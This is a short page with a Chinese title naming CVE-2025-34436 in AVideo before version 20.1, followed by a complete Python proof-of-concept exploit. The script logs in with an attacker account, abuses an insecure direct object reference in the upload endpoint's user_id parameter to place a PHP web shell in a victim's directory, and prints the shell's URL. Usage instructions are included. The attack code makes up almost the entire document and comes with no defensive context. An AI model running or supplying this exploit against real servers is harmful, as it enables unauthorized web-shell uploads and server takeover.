CVE-2025-34436 | AVideo身份认证绕过导致任意文件上传漏洞

import requests import sys # CVE-2025-34436 PoC - IDOR Arbitrary File Upload in AVideo # Target: AVideo < 20.1 def exploit_avideo(target_url, username, password, target_user_id, malicious_file_path): """ Exploit IDOR vulnerability to upload file to another user's directory Args: target_url: Base URL of AVideo installation username: Attacker account username password: Attacker account password target_user_id: Victim's user ID (directory owner) malicious_file_path: Path to file to upload """ session = requests.Session() # Step 1: Login to get authenticated session login_url = f"{target_url}/login.json" login_data = { 'user': username, 'pass': password } try: login_response = session.post(login_url, data=login_data, timeout=10) if login_response.status_code != 200: print("[-] Login failed - Invalid credentials") return False print("[+] Successfully authenticated") # Step 2: Read malicious file content with open(malicious_file_path, 'rb') as f: file_content = f.read() # Step 3: Upload file to target user's directory (IDOR) upload_url = f"{target_url}/upload" # Key: Modify 'user_id' parameter to point to victim files = { 'file': ('shell.php', file_content, 'application/x-php') } data = { 'user_id': target_user_id, # IDOR: Point to victim's directory 'type': 'video' } upload_response = session.post(upload_url, files=files, data=data, timeout=30) if upload_response.status_code == 200: print(f"[+] File uploaded to user_id {target_user_id}'s directory") print(f"[+] Access file at: {target_url}/videos/user_{target_user_id}/shell.php") return True else: print("[-] Upload failed") return False except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 6: print("Usage: python cve-2025-34436.py <target_url> <username> <password> <target_user_id> <file_path>") print("Example: python cve-2025-34436.py http://target.com attacker pass123 5 shell.php") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] target_uid = sys.argv[4] file_path = sys.argv[5] exploit_avideo(target, user, pwd, target_uid, file_path)